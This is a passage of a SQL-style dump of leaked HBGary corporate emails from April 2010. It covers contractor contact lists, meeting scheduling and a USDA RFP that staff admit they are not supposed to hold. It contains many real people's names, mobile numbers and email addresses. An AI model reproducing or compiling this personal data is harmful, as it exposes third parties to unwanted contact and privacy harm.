source...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\nPer\r\nour conversation, security services BPA holders are. \r\n\r\n&nbsp;\r\n\r\nUnisys\r\n\r\nNelson\r\nE. Scott\r\n\r\nNelson.Scott@unisys.com\r\n\r\nwork&nbsp;571-449-6192\r\n\r\n\r\n&nbsp;\r\n\r\nCSC\r\n\r\nJim King\r\n\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division |\r\noffice: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n\r\n703.461.2020 | jking46@csc.com\r\n|www.csc.com/environment\r\n\r\n&nbsp;\r\n\r\nWilliam Bowers\r\nPrincipal Security Engineer\r\nCSC\r\n6000 Lincoln Drive Marlton, NJ 08053\r\nGSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell:\r\n609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;|\r\nwww.csc.com\r\n\r\n&nbsp;\r\n\r\nVerizon\r\nBusiness\r\n\r\nBusiness\r\ncontact \r\n\r\nReginald\r\nHendricks\r\n\r\nReginald.hendricks@verizonbusiness.com\r\n\r\n703-284-4602\r\n\r\n&nbsp;\r\n\r\nTechnical\r\ncontact\r\n\r\nAndre Chinn\r\n\r\nSr. Solutions\r\nConsultant\r\n\r\nFederal\r\nCivilian Agencies\r\n\r\nOffice:\r\n703.886.8229\r\n\r\nMobile:\r\n571.246.3041\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n&nbsp;\r\n\r\nMantech\r\n\r\nBD\r\nLead: \r\n\r\nVince\r\nLively, (703)388-2131, vince.lively@mantech.com\r\n\r\nOps\r\nLead:\r\n\r\nJamey\r\nDillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n&nbsp;\r\n\r\nKLC\r\n\r\nS.\r\nDavid Warman\r\n\r\nKLC\r\nNetwork Services, Inc.\r\n\r\nEVP\r\n&amp; COO\r\n\r\nMobile:\r\n240-367-5717\r\n\r\nsdwarman@klcnetworks.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 04/29/10\r\n02:27:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1443,'aaron_hbgary_com/1443.html'),(5825,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004252.M738565P14101Q680.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Thursday dinner','What time is good?AaronOn Apr 29, 2010, at 7:40 AM, Lachow, Irving wrote:Are you free on the 6th?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, April 28, 2010 10:56 PMTo:&nbsp;Lachow, IrvingSubject:&nbsp;Re: Thursday dinner&nbsp;When would you like to get together next? &nbsp;I think you said something about next week?&nbsp;Aaron&nbsp;On Apr 6, 2010, at 3:45 PM, Lachow, Irving wrote:Yup. See you tomorrow.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;To: Lachow, Irving&nbsp;Cc: Ray Owen &lt;ray.owen@comcast.net&gt;;&nbsp;nathan.atherley@gmail.com&nbsp;&lt;nathan.atherley@gmail.com&gt;&nbsp;Sent: Tue Apr 06 13:45:34 2010Subject: Re: Thursday dinnerIrving,&nbsp;Are you still planning on attending the Palantir conference tomorrow? &nbsp;HBGary will have a booth, so please stop by.&nbsp;Aaron&nbsp;On Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:Thanks Penny.&nbsp; I appreciate the introduction and really appreciate the DDNA license.&nbsp; Before y’all send that along, let me connect Jim with our lab people and so they can work this out directly.&nbsp; They need to work the legal process carefully&nbsp; and also assess where this would fit into the lab’s current configuration.&nbsp;Aaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;Cheers,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 19, 2010 2:11 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netCc:&nbsp;\'Jim Richards\'; \'Aaron Barr\'Subject:&nbsp;RE: Thursday dinner&nbsp;Irving,&nbsp;It was great to finally meet you too.&nbsp;&nbsp; I’ll let you know when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim Richards, Global Training.&nbsp;Aaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading the development effort which we will be participating with Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in DC, but feel free to contact Irving directly.&nbsp; He can be reached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570&nbsp;Jim, please send Irving Responder Pro with DDNA license for one year and Field Edition for his training room.&nbsp; Irving is at National Defense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor license.&nbsp; Responder Field Edition has a malware analysis module and forensic module.&nbsp; How many copies do you need for workstations?&nbsp; We’ll also send you our training and some flip books that allow students to have a take away.&nbsp;&nbsp;300 5th&nbsp;Avenue Bldg 62Marshall Hall Room 183HFort Lesley J. McNairWashington, DC 20319-5066&nbsp;TTYSPenny&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Friday, March 19, 2010 8:25 AMTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;Hi there.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It was great company and I enjoyed learning more about HB Gary.&nbsp;Penny, let me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in learning more about them.&nbsp; Speaking of Greg, please forward this to him.&nbsp; When you have a moment, can you connect me with your Federal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp; I got the date wrong, it is April 7th&nbsp;not 5th.&nbsp;Regards,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 12:56 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;OK, sounds good&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 7:01 AMTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;Re: Thursday dinner&nbsp;Nate, sorry about that. I hope you can join us soon. I don\'t have to leave for a SFO until 8 or so.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;To: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;Sent: Thu Mar 18 07:55:30 2010Subject: Thursday dinnerRay, Irv, Penny&nbsp;Just to close the loop from my end.&nbsp; I talked to Ray last night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner time.&nbsp; I will be there as soon as possible.&nbsp;Thanks&nbsp;nathan&nbsp;Spalti\'s restaurant417 S. California AvePalo Alto, CA650-327-9390&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3497,'aaron_hbgary_com/3497.html'),(5826,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004252.M976294P14101Q681.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Confirmed: ConCall Agilex-LANL re: Oracle system','Ira,\r\n\r\nSorry I can\'t seem to find your number.\r\n\r\nAaron\r\n719.510.8478\r\n\r\nOn Apr 28, 2010, at 11:28 PM, Ira Entis wrote:\r\n\r\n> how does your day look tomorrow to speak?\r\n> \r\n> \r\n> On Apr 28, 2010, at 3:34 PM, Aaron Barr wrote:\r\n> \r\n> Ira,\r\n> \r\n> Do you have a few minutes.  I am wondering what your thoughts are on the call.  Next steps from your perspective.  I believe we have a few items we told the customer we would deliver to them.\r\n> \r\n> Aaron\r\n> \r\n> On Apr 26, 2010, at 11:34 AM, Ira Entis wrote:\r\n> \r\n>> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n>> Where: (888) 311-8177; code 7038893900\r\n>> \r\n>> *~*~*~*~*~*~*~*~*~*\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',671,'aaron_hbgary_com/671.html'),(5827,'2010-04-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004253.M279941P14101Q682.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: USDA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, are you around, I have a question about this process\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, April 29, 2010 12:42 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Maria Lucas\'; \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: RE: USDA info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny, Maria, Rich and Aaron,\r\n\r\n&nbsp;\r\n\r\nThis USDA RFP isn&#8217;t a good fit for HBGary.&nbsp; They want\r\nEndpoint capabilities in the future and the things they want there don&#8217;t match\r\nwhat we do.&nbsp; Once the RFP is written and it doesn&#8217;t fit us, our chances of\r\nwinning are small.\r\n\r\n&nbsp;\r\n\r\nEven though this opportunity doesn&#8217;t fit us, it still makes\r\nsense for Aaron and me to reach out to the primes listed.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, April 29, 2010 2:27 PM\r\nTo: \'Maria Lucas\'; \'Bob Slapnik\'; \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: RE: USDA info\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob, you should know the Verizon and CSC people, you should call\r\nthem ASAP.&nbsp;&nbsp; Maria, do you have the RFP?&nbsp; What does pertinent\r\nsection say about malware detection?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 29, 2010 9:07 AM\r\nTo: Bob Slapnik; Penny C. Hoglund; Rich Cummings; Aaron Barr\r\nSubject: Re: USDA info\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob / Penny / Rich / Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a copy of the USDA RFP sent to 6 system\r\nintegrators.&nbsp; The requirements were written by Harris so they are not\r\nbidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it\r\nimplies a Damballa like solution as a preface to the malware detection\r\nrequirements.....&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt is odd that none of BPA holders have contacted\r\nHBGary.&nbsp; We need to work fast because the RFP is due May\r\n7th...&nbsp;&nbsp; The USDA received $44 million to build out a SOC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI / Background Rich has met twice with Harris and they\r\nhave stated they want to purchase 1,400 nodes this year but we don\'t\r\nnecessarily trust the Harris relationship.&nbsp; If this RFP is written\r\n&quot;not for&quot; HBGary then we should protest because Harris has a conflict\r\nof interest with HBGary.&nbsp; I heard that Patriot is protesting....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are not suppose to have a copy of the RFP and have been\r\nasked not to disclose our source...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\nPer\r\nour conversation, security services BPA holders are. \r\n\r\n&nbsp;\r\n\r\nUnisys\r\n\r\nNelson\r\nE. Scott\r\n\r\nNelson.Scott@unisys.com\r\n\r\nwork&nbsp;571-449-6192\r\n\r\n\r\n&nbsp;\r\n\r\nCSC\r\n\r\nJim King\r\n\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division |\r\noffice: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n\r\n703.461.2020 | jking46@csc.com\r\n|www.csc.com/environment\r\n\r\n&nbsp;\r\n\r\nWilliam Bowers\r\nPrincipal Security Engineer\r\nCSC\r\n6000 Lincoln Drive Marlton, NJ 08053\r\nGSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell:\r\n609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;|\r\nwww.csc.com\r\n\r\n&nbsp;\r\n\r\nVerizon\r\nBusiness\r\n\r\nBusiness\r\ncontact \r\n\r\nReginald\r\nHendricks\r\n\r\nReginald.hendricks@verizonbusiness.com\r\n\r\n703-284-4602\r\n\r\n&nbsp;\r\n\r\nTechnical\r\ncontact\r\n\r\nAndre Chinn\r\n\r\nSr. Solutions\r\nConsultant\r\n\r\nFederal\r\nCivilian Agencies\r\n\r\nOffice:\r\n703.886.8229\r\n\r\nMobile:\r\n571.246.3041\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n&nbsp;\r\n\r\nMantech\r\n\r\nBD\r\nLead: \r\n\r\nVince\r\nLively, (703)388-2131, vince.lively@mantech.com\r\n\r\nOps\r\nLead:\r\n\r\nJamey\r\nDillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n&nbsp;\r\n\r\nKLC\r\n\r\nS.\r\nDavid Warman\r\n\r\nKLC\r\nNetwork Services, Inc.\r\n\r\nEVP\r\n&amp; COO\r\n\r\nMobile:\r\n240-367-5717\r\n\r\nsdwarman@klcnetworks.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 04/29/10\r\n02:27:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6465,'aaron_hbgary_com/6465.html'),(5828,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004253.M500086P14101Q683.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: USDA info','I am talking with Shane right now call u in a few.AaronOn Apr 29, 2010, at 4:06 PM, Penny Leavy-Hoglund wrote:Aaron, are you around, I have a question about this process&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 29, 2010 12:42 PMTo:&nbsp;\'Penny Leavy-Hoglund\'; \'Maria Lucas\'; \'Rich Cummings\'; \'Aaron Barr\'Subject:&nbsp;RE: USDA info&nbsp;Penny, Maria, Rich and Aaron,&nbsp;This USDA RFP isn’t a good fit for HBGary.&nbsp; They want Endpoint capabilities in the future and the things they want there don’t match what we do.&nbsp; Once the RFP is written and it doesn’t fit us, our chances of winning are small.&nbsp;Even though this opportunity doesn’t fit us, it still makes sense for Aaron and me to reach out to the primes listed.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 29, 2010 2:27 PMTo:&nbsp;\'Maria Lucas\'; \'Bob Slapnik\'; \'Rich Cummings\'; \'Aaron Barr\'Subject:&nbsp;RE: USDA infoImportance:&nbsp;High&nbsp;Bob, you should know the Verizon and CSC people, you should call them ASAP.&nbsp;&nbsp; Maria, do you have the RFP?&nbsp; What does pertinent section say about malware detection?&nbsp;From:&nbsp;Maria Lucas [mailto:maria@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 29, 2010 9:07 AMTo:&nbsp;Bob Slapnik; Penny C. Hoglund; Rich Cummings; Aaron BarrSubject:&nbsp;Re: USDA info&nbsp;Bob / Penny / Rich / Aaron&nbsp;I have a copy of the USDA RFP sent to 6 system integrators.&nbsp; The requirements were written by Harris so they are not bidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....&nbsp;&nbsp;&nbsp;It is odd that none of BPA holders have contacted HBGary.&nbsp; We need to work fast because the RFP is due May 7th...&nbsp;&nbsp; The USDA received $44 million to build out a SOC.&nbsp;FYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don\'t necessarily trust the Harris relationship.&nbsp; If this RFP is written \"not for\" HBGary then we should protest because Harris has a conflict of interest with HBGary.&nbsp; I heard that Patriot is protesting....&nbsp;We are not suppose to have a copy of the RFP and have been asked not to disclose our source...Maria,Per our conversation, security services BPA holders are.&nbsp;UnisysNelson E. ScottNelson.Scott@unisys.comwork&nbsp;571-449-6192&nbsp;CSCJim KingAccount Director - Environment, Agriculture and Natural Resources CSC655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:703.461.2020 |&nbsp;jking46@csc.com&nbsp;|www.csc.com/environment&nbsp;William BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell: 609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;|&nbsp;www.csc.com&nbsp;Verizon BusinessBusiness contactReginald HendricksReginald.hendricks@verizonbusiness.com703-284-4602&nbsp;Technical contactAndre ChinnSr. Solutions ConsultantFederal Civilian AgenciesOffice: 703.886.8229Mobile: 571.246.3041andre.chinn@verizonbusiness.com&nbsp;MantechBD Lead:Vince Lively, (703)388-2131,&nbsp;vince.lively@mantech.comOps Lead:Jamey Dillon, (703)388-0364,&nbsp;Jamey.dillon@mantech.com&nbsp;KLCS. David WarmanKLC Network Services, Inc.EVP &amp; COOMobile: 240-367-5717sdwarman@klcnetworks.com&nbsp;--&nbsp;Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com&nbsp;|email:&nbsp;maria@hbgary.com&nbsp;http://forensicir.blogspot.com/2009/04/responder-pro-review.htmlNo virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 04/29/10 02:27:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7352,'aaron_hbgary_com/7352.html'),(5829,'2010-04-29','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004253.M752743P14101Q684.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch tomorrow.','Next Monday-Thursday is looking pretty good.\r\n\r\n	-Irby\r\n\r\n\r\nOn Apr 29, 2010, at 3:44 PM, Aaron Barr wrote:\r\n\r\n> Hey sorry I got confused or confused u not sure which.  I have a customer meeting up in MD and can\'t get back down until about 3pm.  Want to  get together then or maybe a good time next week would be better?\r\n> \r\n> Aaron\r\n> On Apr 29, 2010, at 11:55 AM, Irby Thompson wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> I am in Huntsville today, but should get back late tonight. I think we\'ll be good for lunch tomorrow, can we touch base in the morning?\r\n>> \r\n>> \r\n>> \r\n>> On Apr 28, 2010, at 9:51 PM, Aaron Barr  wrote:\r\n>> \r\n>>> Hey Irby,\r\n>>> \r\n>>> Hows your Friday look?\r\n>>> \r\n>>> I have been in discussions with Paul.  We signed a TA with them last week.  I talked about our team for Cyber Genome.  Lets discuss when we get together.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n>>> \r\n>>>> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n>>>> \r\n>>>> Also, have you been in discussions with Paul Rooney from CSC?\r\n>>>> \r\n>>>>  Regards,\r\n>>>>  Irby\r\n>>>> \r\n>>>> \r\n>>>> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Irby,\r\n>>>>> \r\n>>>>> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>>>>> \r\n>>>>>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>>>>>> \r\n>>>>>>      -irby\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>>>>> \r\n>>>>>>>> Aaron,\r\n>>>>>>>> \r\n>>>>>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>>>>>> \r\n>>>>>>>>  -Irby\r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',13269,'aaron_hbgary_com/13269.html'),(5830,'2010-04-29','\"Shane Shook\" <sdshook@yahoo.com>','/aaron@hbgary.com/new/1297004259.M417804P14101Q685.eml','\"Aaron Barr\" <aaron@hbgary.com>','ostmm model for pen testings','The version 3.0 is in draft but this is the operable model.\r\n&nbsp;\r\n- Shane',915,'aaron_hbgary_com/915.html'),(5831,'2010-04-29','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004260.M345823P14101Q687.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Thursday dinner','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan we do 0900?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 3:48 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhat time is good?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 7:40 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you free on the 6th?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, April 28,\r\n2010 10:56 PM\r\nTo:&nbsp;Lachow, Irving\r\nSubject:&nbsp;Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen would you like to get together next? &nbsp;I think you\r\nsaid something about next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 6, 2010, at 3:45 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYup. See you tomorrow.&nbsp;\r\n_____________________&nbsp;\r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;\r\nTo: Lachow, Irving&nbsp;\r\nCc: Ray Owen &lt;ray.owen@comcast.net&gt;;&nbsp;nathan.atherley@gmail.com&nbsp;&lt;nathan.atherley@gmail.com&gt;&nbsp;\r\nSent: Tue Apr 06 13:45:34 2010\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you still planning on attending the Palantir conference\r\ntomorrow? &nbsp;HBGary will have a booth, so please stop by.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny.&nbsp; I appreciate the introduction and really\r\nappreciate the DDNA license.&nbsp; Before y&#8217;all send that along, let me\r\nconnect Jim with our lab people and so they can work this out directly.&nbsp;\r\nThey need to work the legal process carefully&nbsp; and also assess where this\r\nwould fit into the lab&#8217;s current configuration.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next\r\nweek is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 19,\r\n2010 2:11 PM\r\nTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nCc:&nbsp;\'Jim Richards\'; 